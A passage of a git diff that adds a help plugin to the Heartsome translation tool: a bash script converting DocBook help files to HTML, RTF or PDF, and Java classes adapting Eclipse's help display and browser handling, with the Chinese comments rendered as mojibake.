b/ts/net.heartsome.cat.ts.ui.help/scripts/.gitignore new file mode 100644 index 0000000..16be8f2 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/scripts/.gitignore @@ -0,0 +1 @@ +/output/ diff --git a/ts/net.heartsome.cat.ts.ui.help/scripts/convert.sh b/ts/net.heartsome.cat.ts.ui.help/scripts/convert.sh new file mode 100755 index 0000000..6cd74ca --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/scripts/convert.sh @@ -0,0 +1,104 @@ +#!/bin/bash + +script_name=$0 +err_msg1="å‚æ•°é”™è¯¯ï¼Œè¯·æŒ‡å®šæ­£ç¡®çš„è¾“å‡ºæ ¼å¼ chunk|rtf|html|pdf 和语言 zh|en å‚数。" +err_msg2="举例一,输出中文 HTML(分页):$script_name chunk zh" +err_msg3="举例二,输出英文 RTF:$script_name rtf en" +err_msg4="举例三,输出中文 HTML(å•ä¸ªï¼‰ï¼š$script_name html zh" +err_msg5="举例四,输出英文 PDF:$script_name pdf en" + +# 判断输入å‚数是å¦æ­£ç¡® +if [ $# -ne 2 ] +then + echo $err_msg1 + echo $err_msg2 + echo $err_msg3 + echo $err_msg4 + echo $err_msg5 + exit 1 +fi +format=$1 +if [ "$format" != chunk ] && [ "$format" != rtf ] && [ "$format" != html ] && [ "$format" != pdf ] +then + echo $err_msg1 + echo $err_msg2 + echo $err_msg3 + echo $err_msg4 + echo $err_msg5 + exit 1 +fi +lng=$2 +if [ "$lng" != zh ] && [ "$lng" != en ] +then + echo $err_msg1 + echo $err_msg2 + echo $err_msg3 + echo $err_msg4 + echo $err_msg5 + exit 1 +fi + +# -CHANGEME- 请改为您本机的工作空间 (CVS) 或代ç ä»“库 (Git) 路径 +ws_path=/Volumes/iMac-User/Projects/hsgit/translation-studio/ts +# -CHANGEME- 请改为您本机的 FOP å¯æ‰§è¡Œæ–‡ä»¶è·¯å¾„ +fop_path=/usr/share/xml/docbook/fop/fop +# -CHANGEME- 请改为您本机的 FOP 字体é…置文件路径 +fop_xconf_path=/usr/share/xml/docbook/fop/conf/fop.xconf + +# 若无特殊情况(如修改了æ’件ã€åŒ…å或目录结构),以下路径å¯ä»¥ä¸å¿…修改 +plugin_name=net.heartsome.cat.ts.ui.help +src_path=src/net/heartsome/cat/ts/ui/help/docbook +html_path=html +output_dir=scripts/output +# DocBook XML 文件åå‰ç¼€ã€åŒæ—¶ä¹Ÿä½œä¸ºè¾“出文件的 +db_xml_prefix=ts8help_ +chunk_xsl=chunk.xsl +fop_xsl=fop.xsl +html_xsl=html.xsl + +# æ ¹æ®è¯­è¨€å‚数拼出完整文件路径 +db_xml_path=$ws_path/$plugin_name/$src_path/$lng/$db_xml_prefix$lng.xml + +if [ "$format" = chunk ] +then + # 分页 HTML 以目录为输出ã€ä½¿ç”¨ä¿®æ”¹è¿‡çš„ XSL æ ·å¼è¡¨ + output_path=$ws_path/$plugin_name/$html_path/$lng/ + xsl_path=$ws_path/$plugin_name/$src_path/xsl/$chunk_xsl +elif [ "$format" = html ] +then + # å•ä¸ª HTML 以文件为输出ã€ä½¿ç”¨å®šä¹‰äº† UTF-8 ç¼–ç çš„æ ·å¼è¡¨ + output_path=$ws_path/$plugin_name/$output_dir/$lng/$db_xml_prefix$lng.$format + xsl_path=$ws_path/$plugin_name/$src_path/xsl/$html_xsl +else + # RTF å’Œ PDF 使用定义了中文字体的 FOP æ ·å¼è¡¨ + output_path=$ws_path/$plugin_name/$output_dir/$db_xml_prefix$lng.$format + xsl_path=$ws_path/$plugin_name/$src_path/xsl/$fop_xsl +fi + +echo æºæ–‡ä»¶ï¼š +echo $db_xml_path +echo æ ·å¼è¡¨ï¼š +echo $xsl_path +echo 输出到: +echo $output_path + +echo '以上信æ¯æ­£ç¡®å—?Y/n' +read confirm +#if [ "$confirm" = y ] || [ "$confirm" = Y ] || [ "$confirm" = Yes ] || [ "$confirm" = yes ] || [ "$confirm" = YES ] +if [ "$confirm" != n ] && [ "$confirm" != N ] && [ "$confirm" != No ] && [ "$confirm" != no ] && [ "$confirm" != NO ] +then + echo 开始转æ¢... + if [ "$format" = chunk ] || [ "$format" = html ] + then + # 使用 xsltproc 工具输出 HTML 文件 + xsltproc --xinclude --output $output_path $xsl_path $db_xml_path + elif [ "$format" = rtf ] || [ "$format" = pdf ] + then + # 使用 fop 工具输出 RTF 文件 + $fop_path -c $fop_xconf_path -xml $db_xml_path -xsl $xsl_path -$format $output_path + fi +else + echo å·²å–消转æ¢ã€‚ + exit 0 +fi +exit 0 diff --git a/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/AbstractSelfHelpUI.java b/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/AbstractSelfHelpUI.java new file mode 100644 index 0000000..5387d1f --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/AbstractSelfHelpUI.java @@ -0,0 +1,133 @@ +package net.heartsome.cat.ts.ui.help; + +import java.net.URL; + +import org.eclipse.core.runtime.Platform; +import org.eclipse.help.IContext; +import org.eclipse.help.browser.IBrowser; +import org.eclipse.help.internal.base.BaseHelpSystem; +import org.eclipse.help.ui.internal.util.ErrorUtil; +import org.eclipse.osgi.service.environment.Constants; +import org.eclipse.swt.SWT; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.PartInitException; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.browser.IWebBrowser; +import org.eclipse.ui.browser.IWorkbenchBrowserSupport; +import org.eclipse.ui.help.AbstractHelpUI; + + +public class AbstractSelfHelpUI extends AbstractHelpUI { + private static AbstractSelfHelpUI instance; + + class ExternalWorkbenchBrowser implements IBrowser { + + public ExternalWorkbenchBrowser() { + } + + private IWebBrowser getExternalBrowser() throws PartInitException { + IWorkbenchBrowserSupport support = PlatformUI.getWorkbench().getBrowserSupport(); + return support.getExternalBrowser(); + } + + public void close() { + } + + public boolean isCloseSupported() { + return false; + } + + public void displayURL(String url) throws Exception { + try { + IWebBrowser browser = getExternalBrowser(); + if (browser != null) { + browser.openURL(new URL(url)); + } + } catch (PartInitException pie) { + ErrorUtil.displayErrorDialog(pie.getLocalizedMessage()); + } + } + + public boolean isSetLocationSupported() { + return false; + } + + public boolean isSetSizeSupported() { + return false; + } + + public void setLocation(int x, int y) { + } + + public void setSize(int width, int height) { + } + } + + + @SuppressWarnings("restriction") + public AbstractSelfHelpUI(){ + super(); + BaseHelpSystem.getInstance().setBrowserInstance(new ExternalWorkbenchBrowser()); + } + + public static AbstractSelfHelpUI getInstance() { + return instance; + } + + @Override + public void displayHelp() { + SelfBaseHelpSystem.getHelpDisplay().displayHelp(useExternalBrowser(null)); + } + + @Override + public void displayContext(IContext context, int x, int y) { + + } + + @Override + public void displayHelpResource(String href) { + SelfBaseHelpSystem.getHelpDisplay().displayHelpResource(href, useExternalBrowser(href)); + } + + @Override + public boolean isContextHelpDisplayed() { + return false; + } + + + private boolean useExternalBrowser(String url) { + // On non Windows platforms, use external when modal window is displayed + if (!Constants.OS_WIN32.equalsIgnoreCase(Platform.getOS())) { + Display display = Display.getCurrent(); + if (display != null) { + if (insideModalParent(display)) + return true; + } + } + + // Use external when no help frames are to be displayed, otherwise no + // navigation buttons. + if (url != null) { + if (url.indexOf("?noframes=true") > 0 //$NON-NLS-1$ + || url.indexOf("&noframes=true") > 0) { //$NON-NLS-1$ + return true; + } + } + return false; + } + + + private boolean insideModalParent(Display display) { + return isDisplayModal(display.getActiveShell()); + } + + public static boolean isDisplayModal(Shell activeShell) { + while (activeShell != null) { + if ((activeShell.getStyle() & (SWT.APPLICATION_MODAL | SWT.PRIMARY_MODAL | SWT.SYSTEM_MODAL)) > 0) + return true; + activeShell = (Shell) activeShell.getParent(); + } + return false; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/Activator.java b/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/Activator.java new file mode 100644 index 0000000..aa255b7 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/Activator.java @@ -0,0 +1,61 @@ +package net.heartsome.cat.ts.ui.help; + +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends AbstractUIPlugin { + + // The plug-in ID + public static final String PLUGIN_ID = "net.heartsome.cat.ts.ui.help"; //$NON-NLS-1$ + + // The shared instance + private static Activator plugin; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + } + + /** + * Returns the shared instance + * + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + + /** + * æ供一个图片文件对æ’件的相对路径,返回该图片的æè¿°ä¿¡æ¯ã€‚ + * @param path + * 图片资æºå¯¹æ’件的相对路径。 + * @return the image descriptor + */ + public static ImageDescriptor getImageDescriptor(String path) { + return imageDescriptorFromPlugin(PLUGIN_ID, path); + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/SelfBaseHelpSystem.java b/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/SelfBaseHelpSystem.java new file mode 100644 index 0000000..6b8d4de --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/SelfBaseHelpSystem.java @@ -0,0 +1,345 @@ +package net.heartsome.cat.ts.ui.help; + +import java.net.MalformedURLException; +import java.net.URL; + +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IProduct; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Platform; +import org.eclipse.core.runtime.Status; +import org.eclipse.help.HelpSystem; +import org.eclipse.help.ILiveHelpAction; +import org.eclipse.help.browser.IBrowser; +import org.eclipse.help.internal.HelpPlugin; +import org.eclipse.help.internal.base.BookmarkManager; +import org.eclipse.help.internal.base.HelpBasePlugin; +import org.eclipse.help.internal.base.HelpBaseResources; +import org.eclipse.help.internal.base.HelpProvider; +import org.eclipse.help.internal.base.util.IErrorUtil; +import org.eclipse.help.internal.browser.BrowserManager; +import org.eclipse.help.internal.search.LocalSearchManager; +import org.eclipse.help.internal.search.SearchManager; +import org.eclipse.help.internal.server.WebappManager; +import org.eclipse.help.internal.workingset.WorkingSetManager; +import org.osgi.framework.Bundle; + +/** + * 引自 BaseHelpSystem ç±» + * @author robert + */ +@SuppressWarnings("restriction") +public class SelfBaseHelpSystem { + + private static final SelfBaseHelpSystem instance = new SelfBaseHelpSystem(); + + public static final String BOOKMARKS = "bookmarks"; //$NON-NLS-1$ + public static final String WORKING_SETS = "workingSets"; //$NON-NLS-1$ + public static final String WORKING_SET = "workingSet"; //$NON-NLS-1$ + + public static final int MODE_WORKBENCH = 0; + public static final int MODE_INFOCENTER = 1; + public static final int MODE_STANDALONE = 2; + + private int mode = MODE_WORKBENCH; + + private SearchManager searchManager; + private WorkingSetManager workingSetManager; + private BookmarkManager bookmarkManager; + + private boolean webappStarted = false; + private boolean webappRunning = false; + private IErrorUtil defaultErrorMessenger; + private IBrowser browser; + private IBrowser internalBrowser; + private SelfHelpDisplay helpDisplay = null; + + private SelfBaseHelpSystem() { + super(); + } + + public static SelfBaseHelpSystem getInstance() { + return instance; + } + + /* + * Returns the singleton search manager, which is the main interface to the + * help system's search capability. + */ + public static SearchManager getSearchManager() { + if (getInstance().searchManager == null) { + synchronized (SelfBaseHelpSystem.class) { + if (getInstance().searchManager == null) { + getInstance().searchManager = new SearchManager(); + } + } + } + return getInstance().searchManager; + } + + /* + * Returns the local search manager which deals only with the local content + * and is called by the global search manager. + */ + public static LocalSearchManager getLocalSearchManager() { + return getSearchManager().getLocalSearchManager(); + } + + public static synchronized WorkingSetManager getWorkingSetManager() { + if (getInstance().workingSetManager == null) { + getInstance().workingSetManager = new WorkingSetManager(); + } + return getInstance().workingSetManager; + } + + public static synchronized BookmarkManager getBookmarkManager() { + if (getInstance().bookmarkManager == null) { + getInstance().bookmarkManager = new BookmarkManager(); + } + return getInstance().bookmarkManager; + } + + /* + * Allows Help UI to plug-in a soft adapter that delegates all the work to + * the workbench browser support. + */ + public synchronized void setBrowserInstance(IBrowser browser) { + this.browser = browser; + } + + public static synchronized IBrowser getHelpBrowser(boolean forceExternal) { + if (!forceExternal && !BrowserManager.getInstance().isAlwaysUseExternal()) { + if (getInstance().internalBrowser == null) { + getInstance().internalBrowser = BrowserManager.getInstance().createBrowser(false); + } + return getInstance().internalBrowser; + } + if (getInstance().browser == null) { + getInstance().browser = BrowserManager.getInstance().createBrowser(true); + } + return getInstance().browser; + } + + public static synchronized SelfHelpDisplay getHelpDisplay() { + if (getInstance().helpDisplay == null) + getInstance().helpDisplay = new SelfHelpDisplay(); + return getInstance().helpDisplay; + } + + /* + * Shuts down the BaseHelpSystem. + */ + public static void shutdown() throws CoreException { + if (getInstance().bookmarkManager != null) { + getInstance().bookmarkManager.close(); + getInstance().bookmarkManager = null; + } + if (getInstance().searchManager != null) { + getInstance().searchManager.close(); + getInstance().searchManager = null; + } + if (getInstance().webappStarted) { + // stop the web app + WebappManager.stop("help"); //$NON-NLS-1$ + } + } + + /** + * Called by Platform after loading the plugin + */ + public static void startup() { + try { + setDefaultErrorUtil(new IErrorUtil() { + public void displayError(String msg) { + System.out.println(msg); + } + public void displayError(String msg, Thread uiThread) { + System.out.println(msg); + } + }); + } + catch (Exception e) { + HelpBasePlugin.getDefault().getLog().log( + new Status(IStatus.ERROR, HelpBasePlugin.PLUGIN_ID, 0, + "Error launching help.", e)); //$NON-NLS-1$ + } + + /* + * Assigns the provider responsible for providing help + * document content. + */ + HelpPlugin.getDefault().setHelpProvider(new HelpProvider()); + } + + public static boolean ensureWebappRunning() { + if (!getInstance().webappStarted) { + getInstance().webappStarted = true; + try { + // start the help web app + WebappManager.start("help"); //$NON-NLS-1$ + } catch (Exception e) { + HelpBasePlugin.logError(HelpBaseResources.HelpWebappNotStarted, e); + return false; + } + getInstance().webappRunning = true; + } + return getInstance().webappRunning; + } + + public static URL resolve(String href, boolean documentOnly) { + String url = null; + if (href == null || href.indexOf("://") != -1 //$NON-NLS-1$ + || isFileProtocol(href)) + url = href; + else { + SelfBaseHelpSystem.ensureWebappRunning(); + String base = getBase(documentOnly); + if (href.startsWith("/")) //$NON-NLS-1$ + url = base + href; + else + url = base + "/" + href; //$NON-NLS-1$ + } + try { + return new URL(url); + } catch (MalformedURLException e) { + return null; + } + } + + public static URL resolve(String href, String servlet) { + String url = null; + if (href == null || href.indexOf("://") != -1 //$NON-NLS-1$ + || isFileProtocol(href)) { + url = href; + } + else { + SelfBaseHelpSystem.ensureWebappRunning(); + String base = getBase(servlet); + if (href.startsWith("/")) { //$NON-NLS-1$ + url = base + href; + } + else { + url = base + "/" + href; //$NON-NLS-1$ + } + } + try { + return new URL(url); + } + catch (MalformedURLException e) { + return null; + } + } + + private static boolean isFileProtocol(String href) { + // Test for file: or /file: + int index = href.indexOf("file:"); //$NON-NLS-1$ + return ( index == 0 || (index == 1 && href.charAt(0) == '/' )); + } + + public static String unresolve(URL url) { + return unresolve(url.toString()); + } + + public static String unresolve(String href) { + String[] baseVariants = { getBase("/help/topic"), //$NON-NLS-1$ + getBase("/help/nftopic"), //$NON-NLS-1$ + getBase("/help/ntopic"), //$NON-NLS-1$ + getBase("/help/rtopic") }; //$NON-NLS-1$ + for (int i = 0; i < baseVariants.length; i++) { + if (href.startsWith(baseVariants[i])) { + return href.substring(baseVariants[i].length()); + } + } + return href; + } + + private static String getBase(boolean documentOnly) { + String servlet = documentOnly ? "/help/nftopic" : "/help/topic";//$NON-NLS-1$ //$NON-NLS-2$ + return getBase(servlet); + } + + private static String getBase(String servlet) { + return "http://" //$NON-NLS-1$ + + WebappManager.getHost() + ":" //$NON-NLS-1$ + + WebappManager.getPort() + servlet; + } + + /* + * Returns the mode of operation. + */ + public static int getMode() { + return getInstance().mode; + } + + /* + * Sets the mode of operation. + */ + public static void setMode(int mode) { + getInstance().mode = mode; + HelpSystem.setShared(mode == MODE_INFOCENTER); + } + + /* + * Sets the error messenger + */ + public static void setDefaultErrorUtil(IErrorUtil em) { + getInstance().defaultErrorMessenger = em; + } + + /* + * Returns the default error messenger. When no UI is present, all errors + * are sent to System.out. + */ + public static IErrorUtil getDefaultErrorUtil() { + return getInstance().defaultErrorMessenger; + } + + /** + * Obtains name of the Eclipse product + * + * @return String + */ + public static String getProductName() { + IProduct product = Platform.getProduct(); + if (product == null) { + return ""; //$NON-NLS-1$ + } + String name = product.getName(); + return name == null ? "" : name; //$NON-NLS-1$ + } + + public static void runLiveHelp(String pluginID, String className, String arg) { + Bundle bundle = Platform.getBundle(pluginID); + if (bundle == null) { + return; + } + + try { + Class c = bundle.loadClass(className); + Object o = c.newInstance(); + //Runnable runnable = null; + if (o != null && o instanceof ILiveHelpAction) { + ILiveHelpAction helpExt = (ILiveHelpAction) o; + if (arg != null) + helpExt.setInitializationString(arg); + Thread runnableLiveHelp = new Thread(helpExt); + runnableLiveHelp.setDaemon(true); + runnableLiveHelp.start(); + } + } catch (ThreadDeath td) { + throw td; + } catch (Exception e) { + } + } + + /** + * Called when index.jsp is opened, check to see if we index.jsp is running outside out server in which + * case set the mode to infocenter + */ + public static void checkMode() { + if (!getInstance().webappStarted) { + setMode(MODE_INFOCENTER); + } + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/SelfDisplayUtils.java b/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/SelfDisplayUtils.java new file mode 100644 index 0000000..b38d4c2 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/SelfDisplayUtils.java @@ -0,0 +1,35 @@ +package net.heartsome.cat.ts.ui.help; + +import java.lang.reflect.Method; + +import org.eclipse.core.runtime.Platform; +import org.osgi.framework.Bundle; + +public class SelfDisplayUtils { + private static final String HELP_UI_PLUGIN_ID = "org.eclipse.help.ui"; //$NON-NLS-1$ + private static final String LOOP_CLASS_NAME = "org.eclipse.help.ui.internal.HelpUIEventLoop"; //$NON-NLS-1$ + + static void runUI() { + invoke("run"); //$NON-NLS-1$ + } + static void wakeupUI() { + invoke("wakeup"); //$NON-NLS-1$ + } + + static void waitForDisplay() { + invoke("waitFor"); //$NON-NLS-1$ + } + + private static void invoke(String method) { + try { + Bundle bundle = Platform.getBundle(HELP_UI_PLUGIN_ID); + if (bundle == null) { + return; + } + Class c = bundle.loadClass(LOOP_CLASS_NAME); + Method m = c.getMethod(method, new Class[]{}); + m.invoke(null, new Object[]{}); + } catch (Exception e) { + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/SelfHelpDisplay.java b/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/SelfHelpDisplay.java new file mode 100644 index 0000000..cf9d7b8 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/SelfHelpDisplay.java @@ -0,0 +1,312 @@ +package net.heartsome.cat.ts.ui.help; + +import java.io.UnsupportedEncodingException; +import java.net.URLEncoder; +import java.text.MessageFormat; + +import net.heartsome.cat.common.util.CommonFunction; + +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IConfigurationElement; +import org.eclipse.core.runtime.IExtension; +import org.eclipse.core.runtime.IExtensionPoint; +import org.eclipse.core.runtime.Platform; +import org.eclipse.help.IContext; +import org.eclipse.help.IHelpResource; +import org.eclipse.help.base.AbstractHelpDisplay; +import org.eclipse.help.internal.base.BaseHelpSystem; +import org.eclipse.help.internal.base.HelpBasePlugin; +import org.eclipse.help.internal.base.HelpBaseResources; +import org.eclipse.help.internal.server.WebappManager; +import org.eclipse.osgi.util.NLS; +import org.eclipse.swt.program.Program; + +@SuppressWarnings("restriction") +public class SelfHelpDisplay { + + private String hrefOpenedFromHelpDisplay; + private static AbstractHelpDisplay helpDisplay; + private static final String HELP_DISPLAY_EXTENSION_ID = "org.eclipse.help.base.display"; //$NON-NLS-1$ + private static final String HELP_DISPLAY_CLASS_ATTRIBUTE = "class"; //$NON-NLS-1$ + + private static class DefaultDisplay extends AbstractHelpDisplay { + + public String getHelpHome(String hostname, int port, String tab) { + String helpURL = getFramesetURL(); + if (tab != null) { + helpURL += "?tab=" + tab; //$NON-NLS-1$ + } + return helpURL; + } + + public String getHelpForTopic(String topic, String hostname, int port) { + return getFramesetIndexURL() + "?topic=" + topic; //$NON-NLS-1$ + } + } + + /** + * Constructor. + */ + public SelfHelpDisplay() { + super(); + } + + /** + * Displays help. + */ + public void displayHelp(boolean forceExternal) { + displayHelpURL(null, forceExternal); + } + + /** + * Displays a help resource specified as a url. + *
      + *
    • a URL in a format that can be returned by + * {@link org.eclipse.help.IHelpResource#getHref() IHelpResource.getHref()} + *
    • a URL query in the format format + * key=value&key=value ... The valid keys are: "tab", "toc", + * "topic", "contextId". For example, + * toc="/myplugin/mytoc.xml"&topic="/myplugin/references/myclass.html" + * is valid. + *
    + */ + public void displayHelpResource(String href, boolean forceExternal) { + setHrefOpenedFromHelpDisplay(href); + if (href.startsWith("/file")) { //$NON-NLS-1$ + displayHelpResource(href.substring(1), forceExternal); + return; + } + if (href != null && (href.startsWith("tab=") //$NON-NLS-1$ + || href.startsWith("toc=") //$NON-NLS-1$ + || href.startsWith("topic=") //$NON-NLS-1$ + || href.startsWith("contextId="))) { //$NON-NLS-1$ // assume it is a query string + displayHelpURL(href, forceExternal); + } else { // assume this is a topic + if (getNoframesURL(href) == null) { + try { + displayHelpURL( + "topic=" + URLEncoder.encode(href, "UTF-8"), forceExternal); //$NON-NLS-1$ //$NON-NLS-2$ + } catch (UnsupportedEncodingException uee) { + } + } else if (href.startsWith("jar:") || href.startsWith("platform:")) { //$NON-NLS-1$ //$NON-NLS-2$ + // topic from a jar/workspace to display without frames + displayHelpURL( + getBaseURL() + "nftopic/" + getNoframesURL(href), true); //$NON-NLS-1$ + } else { + displayHelpURL(getNoframesURL(href), true); + } + } + } + + /** + * Display help for the a given topic and related topics. + * + * @param context + * context for which related topics will be displayed + * @param topic + * related topic to be selected + */ + public void displayHelp(IContext context, IHelpResource topic, + boolean forceExternal) { + if (context == null || topic == null || topic.getHref() == null) + return; + String topicURL = getTopicURL(topic.getHref()); + displayHelpResource(topicURL, false); + /* + * links tab removed 11/2007, Bug 120947 + if (getNoframesURL(topicURL) == null) { + try { + String url = "tab=links" //$NON-NLS-1$ + + "&contextId=" //$NON-NLS-1$ + + URLEncoder.encode(getContextID(context), "UTF-8") //$NON-NLS-1$ + + "&topic=" //$NON-NLS-1$ + + URLEncoder.encode(topicURL, "UTF-8"); //$NON-NLS-1$ + displayHelpURL(url, forceExternal); + } catch (UnsupportedEncodingException uee) { + } + + } else if (topicURL.startsWith("jar:file:")) { //$NON-NLS-1$ + // topic from a jar to display without frames + displayHelpURL( + getBaseURL() + "nftopic/" + getNoframesURL(topicURL), true); //$NON-NLS-1$ + } else { + displayHelpURL(getNoframesURL(topicURL), true); + } + */ + } + + /** + * Display help to search view for given query and selected topic. + * + * @param searchQuery + * search query in URL format key=value&key=value + * @param topic + * selected from the search results + */ + public void displaySearch(String searchQuery, String topic, + boolean forceExternal) { + if (searchQuery == null || topic == null) + return; + if (getNoframesURL(topic) == null) { + try { + String url = "tab=search&" //$NON-NLS-1$ + + searchQuery + "&topic=" //$NON-NLS-1$ + + URLEncoder.encode(getTopicURL(topic), "UTF-8"); //$NON-NLS-1$ + displayHelpURL(url, forceExternal); + } catch (UnsupportedEncodingException uee) { + } + + } else { + displayHelpURL(getNoframesURL(topic), true); + } + } + + /** + * Displays the specified url. The url can contain query parameters to + * identify how help displays the document + */ + private void displayHelpURL(String helpURL, boolean forceExternal) { + if (!BaseHelpSystem.ensureWebappRunning()) { + return; + } + if (BaseHelpSystem.getMode() == BaseHelpSystem.MODE_STANDALONE) { + // wait for Display to be created + SelfDisplayUtils.waitForDisplay(); + } + + try { + if (helpURL == null || helpURL.length() == 0) { + helpURL = getHelpDisplay().getHelpHome( WebappManager.getHost(), WebappManager.getPort(), null); + } else if (helpURL.startsWith("tab=")) { //$NON-NLS-1$ + String tab = helpURL.substring("tab=".length()); //$NON-NLS-1$ + helpURL = getHelpDisplay().getHelpHome( WebappManager.getHost(), WebappManager.getPort(), tab); + } else if (helpURL.startsWith("topic=")) { //$NON-NLS-1$ + String topic = helpURL.substring("topic=".length()); //$NON-NLS-1$ + helpURL = getHelpDisplay().getHelpForTopic( topic, WebappManager.getHost(), WebappManager.getPort()); + } + + + String systemname = System.getProperty("os.name").toUpperCase(); + if (systemname.contains("LINUX") || systemname.contains("MAC OS X")) { + Program.launch(helpURL); + }else if (systemname.contains("WINDOW")) { + BaseHelpSystem.getHelpBrowser(forceExternal).displayURL(helpURL); + } + + } catch (Exception e) { + HelpBasePlugin + .logError( + "An exception occurred while launching help. Check the log at " + Platform.getLogFileLocation().toOSString(), e); //$NON-NLS-1$ + BaseHelpSystem.getDefaultErrorUtil() + .displayError( + NLS.bind(HelpBaseResources.HelpDisplay_exceptionMessage, Platform.getLogFileLocation().toOSString())); + } + } + + /* + private String getContextID(IContext context) { + if (context instanceof Context) { + return ((Context)context).getId(); + } + return HelpPlugin.getContextManager().addContext(context); + } + */ + + private static String getBaseURL() { + return "http://" //$NON-NLS-1$ + + WebappManager.getHost() + ":" //$NON-NLS-1$ + + WebappManager.getPort() + "/help/"; //$NON-NLS-1$ + } + + private static String getFramesetURL() { + String tocPath = MessageFormat.format("topic/net.heartsome.cat.ts.ui.help/html/{0}/index.html", CommonFunction.getSystemLanguage()); + return getBaseURL() + tocPath; //$NON-NLS-1$ + } + + private static String getFramesetIndexURL(){ + return getBaseURL() + "index.jsp"; //$NON-NLS-1$ + } + + private String getTopicURL(String topic) { + if (topic == null) + return null; + if (topic.startsWith("../")) //$NON-NLS-1$ + topic = topic.substring(2); + /* + * if (topic.startsWith("/")) { String base = "http://" + + * AppServer.getHost() + ":" + AppServer.getPort(); base += + * "/help/content/help:"; topic = base + topic; } + */ + return topic; + } + + /** + * If href contains URL parameter noframes=true return href with that + * paramter removed, otherwise returns null + * + * @param href + * @return String or null + */ + private String getNoframesURL(String href) { + if (href == null) { + return null; + } + int ix = href.indexOf("?noframes=true&"); //$NON-NLS-1$ + if (ix >= 0) { + //remove noframes=true& + return href.substring(0, ix + 1) + + href.substring(ix + "?noframes=true&".length()); //$NON-NLS-1$ + + } + ix = href.indexOf("noframes=true"); //$NON-NLS-1$ + if (ix > 0) { + //remove &noframes=true + return href.substring(0, ix - 1) + + href.substring(ix + "noframes=true".length()); //$NON-NLS-1$ + } + // can be displayed in frames + return null; + } + + public String getHrefOpenedFromHelpDisplay() { + return hrefOpenedFromHelpDisplay; + } + + public void setHrefOpenedFromHelpDisplay(String hrefOpenedFromHelpDisplay) { + this.hrefOpenedFromHelpDisplay = hrefOpenedFromHelpDisplay; + } + + private static void createHelpDisplay() { + IExtensionPoint point = Platform.getExtensionRegistry() + .getExtensionPoint(HELP_DISPLAY_EXTENSION_ID ); + if (point != null) { + IExtension[] extensions = point.getExtensions(); + if (extensions.length != 0) { + // We need to pick up the non-default configuration + IConfigurationElement[] elements = extensions[0] + .getConfigurationElements(); + if (elements.length == 0) + return; + IConfigurationElement displayElement = elements[0]; + // Instantiate the help display + try { + helpDisplay = (AbstractHelpDisplay) (displayElement + .createExecutableExtension(HELP_DISPLAY_CLASS_ATTRIBUTE)); + } catch (CoreException e) { + HelpBasePlugin.logStatus(e.getStatus()); + } + } + } + } + + private static AbstractHelpDisplay getHelpDisplay() { + if (helpDisplay == null) { + createHelpDisplay(); + } + if (helpDisplay == null) { + helpDisplay = new DefaultDisplay(); + } + return helpDisplay; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/SelfHelpSystem.java b/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/SelfHelpSystem.java new file mode 100644 index 0000000..b387354 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/SelfHelpSystem.java @@ -0,0 +1,151 @@ +package net.heartsome.cat.ts.ui.help; + +import java.io.InputStream; + +import org.eclipse.core.runtime.Platform; +import org.eclipse.help.IContext; +import org.eclipse.help.IIndex; +import org.eclipse.help.IToc; +import org.eclipse.help.internal.HelpPlugin; +import org.eclipse.help.internal.HelpPlugin.IHelpProvider; + +@SuppressWarnings("restriction") +public class SelfHelpSystem { + + private static boolean fShared; + + /** + * This class is not intended to be instantiated. + */ + private SelfHelpSystem() { + // do nothing + } + + /** + * Computes and returns context information for the given context id + * for the platform's current locale. + * + * @param contextId the context id, e.g. "org.my.plugin.my_id" + * @return the context, or null if none + */ + public static IContext getContext(String contextId) { + return HelpPlugin.getContextManager().getContext(contextId, Platform.getNL()); + } + + /** + * Computes and returns context information for the given context id + * and locale. + * + * @param contextId the context id, e.g. "org.my.plugin.my_id" + * @param locale the locale being requested, e.g. "en_US" + * @return the context, or null if none + */ + public static IContext getContext(String contextId, String locale) { + return 